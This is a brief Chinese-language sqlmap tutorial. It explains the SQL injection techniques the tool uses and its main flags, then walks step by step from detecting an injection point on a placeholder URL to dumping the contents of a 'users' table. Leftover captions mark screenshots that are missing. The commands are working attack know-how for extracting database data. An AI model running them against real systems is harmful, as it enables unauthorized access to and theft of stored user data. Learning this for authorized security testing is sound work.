sqlmap是一个自动化的sql注入工具,主要功能扫描、发现并利用给定的url的sql注入漏洞,内置了很多插件sqlmap支持的数据库: MySQL、oracle、sql-server、DB2.... 注意:sqlmap只用来检测和sql注入,不能扫描网站的漏洞

sqlmap使用的sql注入方式:

1、基于布尔类型盲注:可以根据页面的返回判断条件真假的注入

2、基于时间的盲注;根据页面返回内容判断,延迟时间是否执行

3、基于报错注入:根据页面返回的错误信息

4、联合查询注入:根据使用的union的情况下注入

sqlmap常用参数:

-u url: 检测的注入点

--dbs: 列出所有数据库的名称

--current-db: 列出当前的数据库名称

-D: 指定的一个数据库

--tables: 列出数据库表名称

-T: 指定的一个表名称

--columns: 列出所有的字段名

-C: 指定字段

--dump: 列出字段的内容

--users: 获取数据所有的用户信息


步骤:

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'

sqlmap基本使用_数据库

2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

sqlmap基本使用_sqlmap_02

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

sqlmap基本使用_数据库_03

4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

sqlmap基本使用_sqlmap_04

5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

sqlmap基本使用_数据库_05

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

sqlmap基本使用_sqlmap_06